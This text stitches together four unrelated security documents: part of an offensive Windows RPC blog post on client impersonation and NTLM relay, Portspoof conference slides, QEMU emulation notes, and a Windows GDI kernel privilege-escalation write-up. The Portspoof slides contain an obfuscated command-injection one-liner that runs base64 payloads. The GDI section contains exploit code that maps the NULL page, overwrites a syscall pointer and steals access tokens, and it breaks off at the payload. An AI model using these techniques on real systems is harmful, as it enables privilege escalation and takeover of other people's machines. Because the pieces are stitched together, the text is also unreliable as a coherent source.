The other option to find RPC clients is by spotting them while they’re connection to their target.
One example of how clients can be spotted is by inspecting the traffic that is sent over the wire
between two systems. Wireshark has a ‘DCERPC’ filter that can be used to spot connections.
An example of a client connecting to a server is shown below:
The bind request is one of the things we can look for to identify clients. In the select package we
can see a client trying to bind to a server interface with the UUID of “d6b1ad2b-b550-4729-b6c2-
1651f58480c3”.
Unauthorized Access
Once you identified an RPC server that exposes interesting functionality that could be useful to
your attack chain the most obvious thing to check is if you can access the server unauthorized.
You could either implement your own client, e.g. based on the my Sample Implementation, or
refer to the Access Matrix to check if your client can connect to the server.
If you already got heads deep into reverse engineering the RPC server and found that the server
sets authentication information by calling RpcServerRegisterAuthInfo with its SPN and a specified
Service Provider, be reminded that an authenticated server binding does not enforce the
client to use an authenticated binding. In other words: Just because the server sets
authentication information does not mean the client needs to connect through an authenticated
binding. Moreover when connecting to a server that sets authentication information be aware
that client calls with invalid credentials will not be dispatched by the run time library
(rpcrt4.dll), however, client calls with no credentials will be dispatched. Or to put it with
Microsoft words:
Remember that, by default, security is optional
Source: https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-rpcserverregisterif
ex
Once you are connected to a server the question of “what to do next?” arises…
Well you’re then in a position to call interface functions, the bad news is: You need to identify the
function names and parameters first, which comes down to reverse engineering your target
server.
If you’re lucking and you’re not looking at a pure RPC server, but a COM server (COM, especially
DCOM, uses RPC under the hood) the server might come with a Type Library (.tlb) that you could
use to lookup interface functions.
I won’t go any deeper into type libraries or anything else here (the blog post is quite long already),
but my general recommendation for someone in this situation would be: Take my sample RPC
client and server code, compile it and start your reverse engineering journey with sample code
you know. In that particular case, let me add another clue: My sample interface has an “Output”
function defined in the IDL file, this “Output” function begins with the print statement printf("
[~] Client Message: %s\n", pszOutput); , you could for example start by searching for the
substring [~] Client Message to figure out where this particular interface function is.
Client Impersonation
Client impersonation also provides interesting attack surface. I’ve already put some light on what
Impersonation is and how it works in the last part of the series, if you missed that and need a
fresh up on Impersonation you will find that bit explained in the Impersonation Section of my last
post.
The recipe for impersonating a client is as follows:
You need a RPC client connecting to your server
The client must use an authenticated binding (otherwise there would be no security
information you could impersonate)
The client must not set the Impersonation Level authenticated binding below
SecurityImpersonation
… that’s it
The process of impersonation is as easy as:
Calling RpcImpersonateClient from within your server interface function
Note that this function takes the binding handle as input, therefore you need a Explicit binding
server to use impersonation (which makes sense)
If that call succeeds, the server’s thread context is changed to the client’s security context
and you can call GetCurrentThread & OpenThreadToken to receive the client’s
Impersonation token.
If you’re now like ‘WTF security context change?!’ you will find answers in the IPC Named Pipe post
if you’re more like ‘WTF Impersonation token?!’ you will find answers in my Windows Authorization
Guide
Once you’ve called DuplicateTokenEx to turn your Impersonation token into a primary token,
you can happily return to your original server thread context by calling RpcRevertToSelfEx
And finally you can call CreateProcessWithTokenW to create a new process with the client’s
token.
Please note that this is only one way to create a process with the client’s token, but in my eyes it
pictures the way of doing these things pretty well and therefore i use this approach here. A
sample implementation of this code can be found here.
This is by the way the same procedure i used for impersonating Named Pipe clients in my last
post.
As said in the recipe steps above, you just need a client that connects to your server and that
client must use an authenticated binding.
If the client does not authenticate its binding that the call to RpcImpersonateClient will result in
Error 1764 (RPC_S_BINDING_HAS_NO_AUTH).
Finding a suitable client that you can make connect to your server comes down to finding a RPC
client (see section Finding RPC Clients) and finding one that you can make connect to your server.
Well the later might be the tricky part in this exploit chain and I can’t give general
recommendation here on how to find those connections. One reason for that is because it
depends on the protocol sequence used by the client, where an unanswered TCP call might be
best detectable when sniffing on the wire where an unanswered Named Pipe connection attempt
could also be spotted on the client’s or server’s host system.
In the 1st part of the series (which was about Named Pipes) I pulled a bigger spotlight on client
impersonation, therefore i will safe myself a few words here. However, if you haven’t already
done it I would recommend reading up on Instance Creation Race Conditions and also Instance
Creation Special Flavors. The same principals apply here.
The more interesting aspect is that I intentionally wrote above: “The client must not set the
Impersonation Level authenticated binding below SecurityImpersonation* … which sounds kinda
like an opt-out process and that’s exactly what it is.
Remember that you can set the Quality of Service (QOS) structure on the client side when creating
an authenticated binding? As said back in section Authenticated Bindings you can use that
structure to determine the Impersonation Level when connecting to the server. Interestingly if
you don’t set any QOS structure the default will be SecurityImpersonation, which allows any
server to impersonate an RPC client as long as the client does not set the Impersonation Level
explicitly below SecurityImpersonation.
The result of an impersonation could then look like this:
Server Non-Impersonation
There is another side of impersonation that is often missed, but is not less interesting from an
attackers perspective.
In part 1 of the series i detailed the steps that are involved when impersonating a client, these
equally apply also for RPC impersonations (and in all other similar technologies), where the
following two steps are especially interesting:
>> Step 8: The server’s thread context is then changed to the client’s security context.
>> Step 9: Any action the server takes and any function the server calls while in the security
context of the client are made with the identify of the client and thereby impersonating the
client.
Source: Offensive Windows IPC Internals 1: Named Pipes
The server’s thread context is changed and all actions then made are made with the security
context of the client. In the above section (and in my sample code) I used that to grab the current
thread token, which then is the client’s token and transform that into a primary token to launch a
new process with that token. I could as well just called any action i want to do directly, because I’m
all ready operating in the client’s security context. Based on the section title you might already
guess now where this is heading… what if the impersonation fails and the server does not check
for that?
The call to RpcImpersonateClient, the API function that does all the impersonation magic for you,
returns the status of the impersonation operation and it is crucial for the server to check that.
If the impersonation is successful you’re inside the client’s security context afterwards, but if it
fails you’re in the same old security context from where you called the RpcImpersonateClient.
Now a RPC server is likely to run as another user (often also in a higher security context) and in
those cases it might try to impersonate its clients to run client operations in a lower, presumably
safer client security context. As an attacker you could use those cases for privilege escalation
attack vectors by forcing a failing impersonation attempt on the server side and therefore causing
the server to execute client operating in the higher security context of the server.
The recipe for this attack scenario is simple:
You need a server that impersonates its clients and does not carefully check the return
status of RpcImpersonateClient before executing further actions.
The action taken by the server after an impersonation attempt must be exploitable from
your client’s perspective.
You need to force the impersonation attempt to fail.
Finding a local server that tries to impersonate a client is a simple task if you read the previous
sections and took note of how to use DumpBin.
Finding a server that runs actions in a ‘assumed impersonated’ context which can be used from
an attackers perspective is pretty much a creative case-by-case analysis of what the server does.
The best advise to analyze those cases is to think outside the box and potentially be prepared to
chain multiple events and actions. A rather simple but powerful example could be a file operation
conducted by the server; Maybe you could use junctions to create a file in a write protected
system path or maybe you could cause the server to open a Named Pipe instead of a file and then
use Named Pipe Impersonation to impersonate the server…
Last on the checklist is causing the server’s impersonation attempt to fail and that’s the easiest
part of the job. There are two ways to achieve this:
You could connect from an unauthenticated binding; Or
You could connect from an authenticated binding and set the Impersonation Level of the
QOS structure to SecurityAnonymous
Either of this actions will safely cause a failed impersonation attempt.
This technique is by the way not a new thing, it’s widely known… just forgotten sometimes. Maybe
there also is a more fancy name out there for this technique that i haven’t come across yet.
Microsoft even especially reminds you of this in the Remarks section (they even gave this a special
‘Securtiy Remarks’ heading) of the RpcImpersonateClient function:
If the call to RpcImpersonateClient fails for any reason, the client connection is not
impersonated and the client request is made in the security context of the process. If the
process is running as a highly privileged account, such as LocalSystem, or as a member of an
administrative group, the user may be able to perform actions they would otherwise be
disallowed. Therefore it is important to always check the return value of the call, and if it
fails, raise an error; do not continue execution of the client request.
Source: RpcImpersonateClient: Security Remarks
MITM Authenticated NTLM Connections
The last two sections cover the fact that RPC can be used as a remote networking communication
technology and therefore also comes with an interesting attack surface on the network side.
Side Note: I intentionally phrased it this way; Your initially though might have been “Dooough
what else do you gonna use a technology called Remote Procedure Call for?!” … But in fact RPC is
very well also intended to be used purely locally as a wrapper for ALPC (i get back to this in part 3
of the series once i figured out all the mysteries of ALPC).
Anyhow, if you’re using RPC over the wire and you want your binding to be authenticated you will
need a network protocol that does the authentication for you. That’s why the second parameter
(AuthnSvc) of the RpcServerRegisterAuthInfo, which is the API function you’d call on the server side
to create an authenticated binding, let’s you define which authentication service you would like to
use. You could for example specify Kerberos with the constant value of
RPC_C_AUTHN_GSS_KERBEROS, or you could specify RPC_C_AUTHN_DEFAULT to use the default
authentication service, which is - interestingly enough - NTLM (RPC_C_AUTHN_WINNT).
Kerberos was set to be the default authentication scheme since Windows 2000, but RPC still
defaults to NTLM.
So if you’re in suitable position on the network and see a NTLM connection coming by there are
two interesting things you could do with that:
You could grab the NTLM(v2) challenge response hash off the wire and offline brute-force
the user’s password; And/Or
You could intercept and relay the NTLM connection to gain access to another system.
I don’t want to deep dive into those two topics (if you made it until here you sure have read
enough already), so I’ll add just two remarks here:
NTLM(v2) challenge brute-forcing is very well known, so you should not have trouble finding
how to do that. Check out hashcat mode 5600 on https://hashcat.net/wiki/doku.php?id=exa
mple_hashes for an example.
NTLM Relay is very well described by the great Pixis at https://en.hackndo.com/ntlm-relay/.
There are a few things to be aware of depending on the protocol used so make sure you
check out that post if you’re interested.
MITM Authenticated GSS_NEGOTIATE Connections
Last but not least… you nearly made it through this post.
Next to NTLM based network authentication schemes, which is what you get if you chose
RPC_C_AUTHN_WINNT or RPC_C_AUTHN_DEFAULT as the authentication service in your
RpcServerRegisterAuthInfo call, the very often used RPC_C_AUTHN_GSS_NEGOTIATE constant is also
an interesting target.
If RPC_C_AUTHN_GSS_NEGOTIATE is chosen Microsoft’s Negotiate SSP is used to instruct the client
and server to negotiate on their own if NTLM or Kerberos should be used to authenticate users.
By default this negotiation will always result in Kerberos if client and server support it.
This negotiation can be attacked from an intercepting network position to force the usage of
NTLM over Kerberos, effectively downgrading the authentication scheme. The caveat is that this
attack requires a suitable network position and missing signatures. I will not dive deeper into this
at this point, mostly cause I’ve detailed the process and the attack in an older post here:
Downgrade SPNEGO Authentication.
By the way the authentication service constants that mentioned here can be found here: https://d
ocs.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants.
That’s it.. you made it!
References
Microsoft’s documentation of RPC: https://docs.microsoft.com/en-us/windows/win32/rpc/ov
erviews
Jonathan Johnson’s (more defensive focused) Review of RPC: https://ipc-research.readthedoc
s.io/en/latest/subpages/RPC.html
Adam Chester’s Review of RPC: https://blog.xpnsec.com/analysing-rpc-with-ghidra-neo4j/
A Code Project on how to start programming with RPC: https://www.codeproject.com/Article
s/4837/Introduction-to-RPC-Part-1#Implicitandexplicithandles17 | pdf |
© 2012
Presented by:
Pwn’ing you(r) cyber offenders
Piotr Duszynski
@drk1wi
© 2012
;WHOAMI;#?
•
Senior Security Consultant @Trustwave OSCP, OSCE, CEH
•
In security field for the past 6 years, hacking since 9 …
•
Enjoys security research, crazy road trips, mojitos and good music
•
Regardless of this slide title tries not to be too nerdy
2
© 2012
What is this presentation about?
•
New defensive technique that renders your port scan results useless … WOOT
•
New attack vectors against you(r) attackers offensive toolbox … WOOT WOOT
•
Short introduction to a tool called: Portspoof.
•
PWN’age POC DEMO for one of the well known port scanners.
3
Active (Offensive) defense in practice
© 2012
© 2012
“Blind attackers’ tools”
The art of Annoyance and Camouflage
© 2012
Destroying the reconnaissance phase
•
Typical case scenario ( a target system is behind a Firewall )
5
$ nmap –sV -O demo.addr.pl
© 2012
Portspoof – implementation of the idea
6
GOAL: “make your attackers port scanning experience a real pain”
Worst possible scenario:
• All 65535 ports are open …
*Portspoof will bind to a single port
• On every open port there is a service listening…
*Portspoof will dynamically generate valid service signatures ~ 8000 supported
Your task:
Identify all real services on the remote system…
© 2012
Rendering your port scan useless with
Portspoof
•
Worst case scenario (target system is behind the Portspoof) :
7
$ nmap –sV –p - -PN demo.addr.pl
….you will need a lot of patience!
© 2012
Rendering your port scan useless
8
Scanning statistics:
65.535 open ports (services)
~120 MB of sent data
30682 s (8.5h)
and few beers later …
© 2012
Rendering your port scan useless
•
NMAP OS identification results
9
$ nmap –sV -O demo.addr.pl
© 2012
Rendering your port scan useless
•
NMAP OS identification results:
10
Device type: general purpose
Running (JUST GUESSING): Linux 3.X (93%)
OS CPE: cpe:/o:linux:linux_kernel:3
Aggressive OS guesses: Linux 3.2 (93%), Linux 3.0 (92%), Linux 3.0 - 3.2 (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Hosts: gTknkkuB, ouwH-rKWw, bWQnRo, ClFfHC, leLtAJg;
OSs: Unix, Windows, Linux, Solaris, NetWare; Devices: print server,webcam, router, storage-misc,
printer;
Devices: print server, webcam, router, storage-misc, printer;
CPE: cpe:/o:microsoft:windows, cpe:/o:redhat:linux, cpe:/o:sun:sunos,cpe:/o:novell:netware, cpe:/
o:linux:linux_kernel
© 2012
Rendering your port scan useless
11
© 2012
Rendering your port scan useless
12
… and somewhere in the
results you can find the
hidden message …
© 2012
Rendering your port scan useless
•
AMAP: $ amap –q demo.addr.pl 3000-3100
13
© 2012
Rendering your port scan useless -
conclusions
•
SYN/ACK/FIN/… stealth scans are no longer helpful!
•
OS identification is a bit more challenging …
•
Forces you to generate a huge amount of traffic through service probes …
“Security by obscurity” - but so is the mimicry in the natural environment…
14
© 2012
Bypassing Portspoof – ideas
•
There is no trivial way to detect false signatures …
•
IP Fragmentation and other evasion techniques will not work …
•
Thread pool exhaustion: play with the thread pool number to handle all incoming
connections …
15
Please send any bypass ideas that you have to the portspoof mailing list ;)
© 2012
© 2012
“Active (Offensive) Defense in practice”
exploiting your attackers’ tools…
“The best defense is a good offense” - Sun Tzu (The Art of War)
© 2012
Exploiting through Nmap port scanner
Interesting injection points through NMAP service probe engine:
•
Version fields, Hosts fields
•
Possibly also others can be found (hint: NSE output) …
Depending on the matched Nmap regex. you can have around ~100bytes for your payload.
17
./portspoof –f fuzz_payloads –n fuzz_nmap_signatures
© 2012
Exploiting through Nmap port scanner
Does Nmap filter anything ? YES !
Version field:
•
-oN (no filtering: ASCII printable + “space” chars)
•
-oG (filtering: all instances of / are replaced with | )
•
-oX (filtering: all reserved HTML chars are replaced with char entities)
Service Info field:
18
© 2012
Commercial port scanner:
XSS example
19
Nmap report generation tool nr. 1 (McAfee SuperScan 4.0)
XSS payload: partially UTF-7 encoded without parenthesis
© 2012
Open source reporting tool:
XSS example
20
Nmap report generation tool nr.2 (anonymous)
© 2012
Blind/Generic XSS pwn’age
$ ./portspoof -v –f XSS.txt –n fuzz_nmap_signatures
21
© 2012
Public exploit script:
OS command injection example
22
Exploiting your attackers’ exploits :D
# Lotus CMS 3.0 eval() Remote Command Execution Exploit
© 2012
Public exploit script:
OS command injection example
23
Portspoof exploiting signature :
80 “whoami\n”
Exploits’ new extra output:
© 2012
Public exploit script:
OS command injection example
24
Creating a universal OS command injection payload one-liner
Challenge:
- Spaces aren’t allowed ! : | cut –f2 –d’
- Apostrophes and pipes aren’t allowed ! : $( cat “storage2” )
© 2012
Public exploit script:
OS command injection example
25
Creating a universal OS command injection payload one-liner
---------------------------------------------------------------------------------------------
/bin/bash\t-c\t{perl,-e,$0,useSPACEMIME::Base64,B64_perl_payload }\t
$_=$ARGV[0];~s/SPACE/\t/ig;eval;$_=$ARGV[1];eval(decode_base64($_));
-----------------------------------------------------------------------------------------------------
• Use \t instead of spaces
• Use ‘Bash Brace Expansion’ to address the lack of apostrophes
• Use regex to add additional \t
• Import missing packages on the fly and execute Base64 encoded payload >:]
© 2012
Blind/generic defensive exploitation
Pros:
+ Really effective against aggressive scanning scripts (autopwn)
+ Moderately effective against exploit scripts with easy to exploit vulnerabilities
Cons:
-
Like with any fuzzing, … you will need a bit of luck.
-
You will not exploit more challenging bugs … Create your own dedicated signatures
for that ;)
Use Metasploit and BeEf payloads to gather additional information about PWN’ed
targets.
26
© 2012
In hunt for a vulnerable software …
Use your Google jutsu skills (previous examples were found in TOP10) :
27
And you will find many interesting targets…
Tip: search for .sh (~8000 results), .pl , etc.
© 2012
Offensive Defense – target
vulnerabilities
You can expect to find (like in any software):
•
XSS, XML injections, SQL injections, OS command injections,
etc.
•
Buffer/Heap overflows, Format string overflows, etc.
•
DOS vectors
28
© 2012
© 2012
Nmap NSE PWN Demo
© 2012
© 2012
Portspoof - 2 in 1 tool …
© 2012
Portspoof
•
Service emulator mode
– Marginal CPU/memory usage ( even handling heavy scans)
– Binds to just one port per instance (127.0.0.1:4444)
– Over 8000 dynamic service signatures
– Configurable through iptables:
- A PREROUTING -i eth1 -p tcp -m tcp --dport 1:65535 -j REDIRECT --to-ports 4444
31
Service Signature Emulator / Exploitation Framework Frontend
© 2012
Portspoof: further information
Portspoof URLs:
http://portspoof.org/
Mailing list:
[email protected]
Git repository (including the presented exploits):
https://github.com/drk1wi/portspoof/
Contact me:
piotr[at]duszynski.eu (PGP fingerprint: FCD2 B5DA 1AE2 056F 4AC8 901D 7258 7496 ECCD 36F3)
http://twitter/drk1wi
32
© 2012
Thank you J | pdf |
apt-get install binfmt-support qemu-user-static qemu qemu-system
1.
QEMU
0x00 QEMU
0x01 QEMU
cp $(which qemu-aarch64-static) ./
sudo chroot . ./qemu-aarch64-static ./bin/ls
2.
1.
apt-get install bridge-utils uml-utilities
0x02 QEMU
brctl addbr br0 #br0bridge
brctl addif br0 eth0 #br0eth0
brctl stp br0 on #br0STP
dhclient br0 #br0
sudo sh qemu-bridge.sh
#!/bin/bash
#This is a qemu-ifup script for bridging.
#You can use it when starting a KVM guest with bridge mode network.
#set your bridge name
switch=br0
if [ -n "$1" ]; then
#create a TAP interface; qemu will handle it automatically.
#tunctl -u $(whoami) -t $1
#start up the TAP interface
ip link set $1 up
sleep 1
#add TAP interface to the bridge
brctl addif ${switch} $1
exit 0
else
echo "Error: no interface specified"
exit 1
fi
2.qemu
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd
,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -m 256 -net nic -net tap,ifname=tap1,script=/e
tc/qemu-ifup,downscript=no
ctl+option+g
sudo route del -net 10.211.55.0 netmask 255.255.255.0 gw 0.0.0.0 dev eth0
sudo route add -net 10.211.55.5 netmask 255.255.255.255 gw 0.0.0.0 dev br0
0x03
sudo apt-get install nfs-kernel-server
sudo systemctl start nfs-server.service
mount -t nfs 10.211.55.3:/home/mbp/workstation/iot /mnt
2. img
sudo qemu-system-x86_64 -hda debian_squeeze_amd64_standard.qcow2 -smp 2 -m 1024 -net nic -net tap,ifname=tap1,script=
/etc/qemu-ifup,downscript=no -drive file=./share.img
//-driveimg
dd if=/dev/zero of=share.img bs=1M count=1024
1G
sudo mkfs.ext4 share.img
ext4
mkdir mntcode
sudo mount share.img mntcode
sudo cp -rfp targetfs/ mntcode/
sudo unmount mntcode
sudo e2fsck -p -f share.img
sudo resize2fs -M share.img
sudo qemu-system-x86_64 -hda debian_squeeze_amd64_standard.qcow2 -smp 2 -m 1024 -net nic -net tap,ifname=tap1,script=
/etc/qemu-ifup,downscript=no -drive file=./share.img
mount -t proc /proc proc/
mount --rbind /sys sys/
mount --rbind /dev dev/
chroot . /bin/sh
0x04 chroot
1.
2. chroot+
mount -t proc /proc proc/
mount --rbind /sys sys/
mount --rbind /dev dev/
3. docker
0x05 arm64 | pdf |
Windows GDI Local Kernel Memory Overwrite
Vulnerability researched and exploit developed by
Joel Eriksson <[email protected]>
About the bug
The Graphics Device Interface, GDI, is part of the Win32-subsystem and is responsible for displaying
graphics on devices such as video displays as well as printers.
Basic information about all GDI objects on the system are stored in a shared memory section named
GdiSharedHandleTable. This table is automatically mapped read-only into every GUI-process on the
system and its contents are only updated by the kernel.
Well, that is how it was supposed to be anyway. If one is able to determine the handle to the
GdiSharedHandleTable shared memory section, it is possible to make an alternate mapping with full
read-write access. Being able to write to data which only the kernel is supposed to write to can never be
a good thing, depending on ones perspective of course.
This bug was found and reported to Microsoft by Cesar Cerrudo from Argeniss over two and a half
years ago now (2004-10-22), but was not made public until the “Month of Kernel Bugs” project [1] in
November 2006. Windows 2003 and Vista is not vulnerable, but all releases of Windows 2000 and XP
were, until a couple of weeks after our talk at BlackHat Europe when a patch was released. ;)
When Cesar made the bug public, he made a PoC exploit available for crashing the system by filling
the entire table with 0x58-chars. I expected a real exploit for the bug to be released shortly afterwards,
but time went by and neither an exploit nor a patch was released. In January I decided to give it a try
myself.
By this time I had no idea whether it was even possible to reliably exploit this vulnerability, since it
was far from obvious judging from the PoC exploit and the crash it produced due to a read from NULL
pointer.
Reliably determining the GDI section handle
The first problem I faced was to come up with a reliable way for determining the handle to the shared
memory section. The PoC exploit bruteforced the handle and assumed that the first valid handle it
found was to the GDI section, which was far from a safe assumption and actually wasn’t the case on
any of the systems I tested it on initially.
To come up with a more reliable method I first had to learn more about the contents of
GdiSharedHandleTable. After googling around and learning more about GDI in general, reading
various MSDN-articles [2] and other resources I could find I learned that GdiSharedHandleTable is an
array of these structs:
typedef struct {
DWORD pKernelInfo; // Pointer to kernelspace GDI object data
WORD ProcessID;
// Process ID
WORD _nCount;
// Reference count?
WORD nUpper;
// Upper 16 bits of GDI object handle
WORD nType;
// GDI object type ID
DWORD pUserInfo;
// Pointer to userspace GDI object data
} GDITableEntry;
The GdiSharedHandleTable array contains 0x4000 entries in Windows 2000 and 0x10000 entries in
Windows XP. Since each entry occupies 16 bytes, the size of the GDI shared memory section is at least
0x40000 or 0x100000 bytes in Windows 2000 and Windows XP respectively.
Just checking that the size of memory section is at least 0x40000 / 0x100000 bytes large is actually
often enough for reliably finding the GDI section, but not reliable enough for my taste. By examining
the contents of the GDI table entries I should be able to determine whether I’ve really found the GDI
table.
During my googling-session I had learned that a handle to a GDI object actually consisted of a 16-bits
index into GdiSharedHandleTable, in the lower 16 bits, combined with a random 16-bit value, in the
upper 16 bits, that should match the nUpper-field of the GDI table entry.
By creating a GDI object (like a window for instance, not necessarily a visible one though) I could
sanity check each potential GDI section mapping by verifying that the nUpper-, ProcessID- and nType-
fields for the GDI object I had created have the expected values.
Selected parts of the code I made for finding the GDI section:
hWnd = CreateWindow(0,0,0,0,0,0,0,0,0,0,0);
hDC = GetDC(hWnd);
wIdx = (WORD) (((DWORD) hDC) & 0xffff);
wUpr = (WORD) (((DWORD) hDC) >> 16);
nPID = GetCurrentProcessId();
...
for (hMap = (HANDLE) 0; hMap < 0x10000; hMap++) {
... (map section and check its size)
if (pGDI[wIdx].ProcessID == nPID
&& pGDI[wIdx].wUpper == wUpr
&& (pGDI[wIdx].wType & 0xFF) == 1)
break;
}
Setting up a kernel debugging environment
For further research into the vulnerability I had to set up a decent debugging environment. I had no
previous windows kernel debugging experience, so the first choice to make was what debugger to use.
The options available for serious kernel debugging in Windows have traditionally been SoftICE and
Microsofts own WinDbg [3]. Since SoftICE is discontinued since a while back the choice was obvious.
Besides being a very powerful kernel-mode debugger it also has the advantage of being free (as in
beer).
The main drawback with using WinDBG is that it normally requires a two machine setup, for remote
debugging through a serial port connection. Fortunately it is also possible to run the debuggee in a
VMWare instance [4] and attach the virtual serial port to a named pipe, which can be attached to from
WinDbg on the host or even connected to the virtual serial port of another VMWare instance in case
you don’t use Windows as the host OS.
Finding a way to exploit the bug
So, we know how to find the GDI section and we have debugging set up so we can see what is
happening when we produce a crash. Now it’s time to figure out a way to use this bug into doing
something useful, from an attacker’s point of view. The obvious points of attack are the pUserInfo and
pKernelInfo pointers, since it is quite likely that some part of the objects they point to will at some time
be dereferenced and written to, or even used as a function pointer.
By manipulating the pUserInfo pointer for a GDI object owned by a privileged process we might be
able to achieve arbitrary code execution in the context of that process. The advantage of this would be
that we don’t have to write a kernel-mode payload, which might be challenging. On the other hand it is
probably quite hard, perhaps even impossible, to find a reliable and generic way to exploit it this way.
There might not even be a privileged process available that uses GDI-resources and even if there is we
don’t have control over what types of objects it creates or what GDI operations it calls. Thus, I didn’t
even bother with this approach. Also, attacking the kernel directly is way more fun. ;-)
By manipulating the pKernelInfo pointer we hope to be able to achieve a write to an arbitrary kernel-
mode address, which would be trivial to turn into arbitrary code execution. When exploiting local
kernel bugs any write-operation to an attacker-specified address is usually good enough for that. The
reason for this is that even when we are not able to control the value that is written, we can almost
always place our payload on the address the value represents. Even mapping the NULL page (address 0
to 0x1000) is possible:
dwAddr = 1; // Can’t use 0 directly, but this will be rounded down to 0. :)
ulSize = 0x1000; // 0x1000 bytes is more than enough for our payload
rc = NtAllocateVirtualMemory(
(HANDLE) -1, (PVOID) &dwAddr, 0, &ulSize,
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
The methodology used for finding a way to achieve an arbitrary memory overwrite was partially trial
and error, by pointing the pKernelInfo pointer into specially crafted data, calling various GDI related
system calls and observing in the debugger what happens. Besides crafting data and debugging I used
static analysis of the WIN32K.SYS driver with IDA Pro to learn more about the GDI subsystem.
After some time of good old creative debugging I finally found a reliable way to write the value 2 (byte
sequence: 02 00 00 00) to an arbitrary address. Since we are able to map the NULL page, I could
actually use this number as the payload address directly. Another possibility would be to use two
partial overwrites to construct a higher address (0x02000002) that can be mapped directly with
VirtualAlloc().
My initial testing was done on Windows XP SP2 and I more or less assumed I would have to make
some adjustments for achieving the overwrite Windows 2000 and perhaps even the previous XP
servicepacks. Turns out this was not required, I had stumbled upon a completely reliable method for
W2K/WXP *.
The exploit method
The method I came up with for triggering the write is the following:
Create a BRUSH-object
Point the pKernelInfo pointer into usermode data with:
FakeKernelObj[0] = <Evil GDI Object Handle>
FakeKernelObj[2] = 1
FakeKernelObj[9] = <Target Address>
Call syscall NtGdiDeleteObjectApp(<Evil GDI Object Handle>)
Boom! 0x00000002 is written to <Target Address>
Determining where to write
At this point the only remaining step is to find a suitable function pointer to overwrite. While there
probably are many function pointers in the kernel that potentially could be used, we specifically need to
find one which fulfills these conditions:
• It should be possible to reliably determine its address
• It should be called in the context of our exploit process
• It should be rarely used, specifically it must not be used during the time between us overwriting
it and us triggering a call to it within the context of our exploit (which would lead to a BSoD)
The obvious choice is to overwrite the syscall pointer for a rarely used system call. Triggering a call to
it is then just a matter of triggering the 0x2E interrupt with EAX being set to the syscall number. If we
need to pass arguments to the syscall we can pass a pointer to them in the EDX register. Here is code
for doing it in with GCC/MinGW:
DWORD DoSysCall(DWORD dwSysCall, PDWORD pdwArgs)
{
__asm__(
“mov %0,%%eax\n\t”
“mov %1,%%edx\n\t”
“int $0x2e\n\t”
“add $4,%%esp\n\t”
:
: “m”(pdwArgs), “m”(dwSysCall)
: “eax”, “edx”
);
}
So, where are the syscall pointers stored and how can we determine the address to them? Well, there
are actually two kinds of syscalls, which are stored in two separate tables. First there is the native NT
API provided by the core kernel NTOSKRNL.EXE, with its syscall pointers being stored in a table
named KiServiceTable. Then there are the syscalls for the Win32 subsystem, which includes the GDI
related syscalls. These are stored in a table in WIN32K.SYS which is called W32pServiceTable.
My first choice was using a pointer in KiServiceTable, which was quite convenient since there are
documented ways to determine its address. Specifically, I used a method posted to the rootkit.com
message board under the pseudonym 90210 [5] which should be very reliable.
This worked like a charm for Windows XP SP2 and Windows 2000, but then mysteriously failed and
caused a BSoD for Windows XP SP1. When checking it out with WinDbg I was surprised to see that it
crashed on the write to the syscall pointer. Turns out KiServiceTable actually resides in the read-only
text segment of NTOSKRNL but no Windows release (of the ones I tested) except XP SP1 actually
enforces read-only kernel pages.
To my surprise, W32pServiceTable resided in the writable data segment of WIN32K.SYS and not its
read-only text segment. This was perfect for our purposes, but unlike for KiServiceTable I did not
know a reliable way to determine its address. It is not an exported symbol.
My first idea was searching for at least 600 consecutive pointers to the WIN32K.SYS text segment
from within its data segment, since there are over 600 syscalls provided by WIN32K.SYS. This method
worked fine in some cases, but not in the case that there are unrelated pointers to the text segment right
before the start of W32pServiceTable.
The second and final idea was searching for the call to KeAddSystemServiceTable() withing the INIT-
section of WIN32K.SYS, which is used for registering W32pServiceTable in NTOSKRNL. The entire
code for looking this up is 200+ lines, but here are selected parts of it.
First we need to find to find the KeAddSystemServiceTable IAT-entry:
for (i = 0; i < dwSize / sizeof(pid[0]); i++) {
if (pid[i].Name != 0) {
ptd = (PIMAGE_THUNK_DATA) &pMap[pid[i].FirstThunk];
for (j = 0; ptd[j].u1.AddressOfData; j++) {
DWORD x = ptd[j].u1.AddressOfData + 2;
if (! strcmp(
&pMap[x],
"KeAddSystemServiceTable"
))
break;
}
if (ptd[j].u1.AddressOfData != 0)
break;
}
}
We calculate the address to the IAT-entry like this:
dwIAT = poh->ImageBase;
dwIAT += pid[i].FirstThunk;
dwIAT += j * sizeof(ptd[0]);
Then we search for the call to this IAT-entry, from within the INIT-section:
for (p = pInit; p < &pInit[dwInitSize-6]; p++)
if (p[0] == 0xFF && p[1] == 0x15) {
DWORD x = *((PDWORD) &p[2]);
if (x == dwIAT)
break;
}
Finally we search for the push of the W32pServiceTable-argument:
For (p -= 5; p > pInit; p--)
if (p[0] == 0x68) {
DWORD x = *((PDWORD) &p[1]);
if (x >= dwDataMin && x <= dwDataMax) {
dwW32pServiceTableAddr = x;
break;
}
}
Payload
Kernel-mode privilege escalation in Windows are not quite as simple as in Unix, instead of just setting
an UID-field we need to either make or steal an access token, which is a rather complicated variable-
sized structure. The easiest way to escalate ones privileges is to “steal” an existing access token from a
privileged process (e.g. running with SYSTEM-privileges).
The process of doing this is rather well understood, or so I thought. My first approach was using the
same approach as other privilege escalation payloads I’ve seen [6]. This usually worked fine, especially
when just triggering the exploit once, but occasionally it resulted in a BSoD.
I knew it was related to the payload, since when I used a payload that just immediately returned I could
trigger the exploit in a loop all day long without crashing the system. By examining the crashes with
WinDbg I noticed that the crashes seemed to be related to the reference counting of access tokens. The
lowest three bits of the access token pointer was actually being used as a reference counter.
No matter what I tried, which included incrementing the reference count of the original token, setting
the reference count of the stolen access token to zero and so on, I always ended up crashing if I
repeatedly trigger the exploit. This was not good enough for me.
My final solution was very simple and also had the advantage of not leaking memory due to discarding
the original access token. At the end of my exploit, after doing whatever I wanted to do with elevated
privileges (like executing a privileged cmd.exe process), I trigger a restore-payload.
The restore-payload restores the original access token and also the original value of the overwritten
syscall pointer. After this modification I’ve finally reached my goal, a reliable and stable local privilege
escalation exploit for all Windows 2000 and Windows XP systems.
The full and commented payload(s), suitable for compiling with NASM, follows:
[BITS 32]
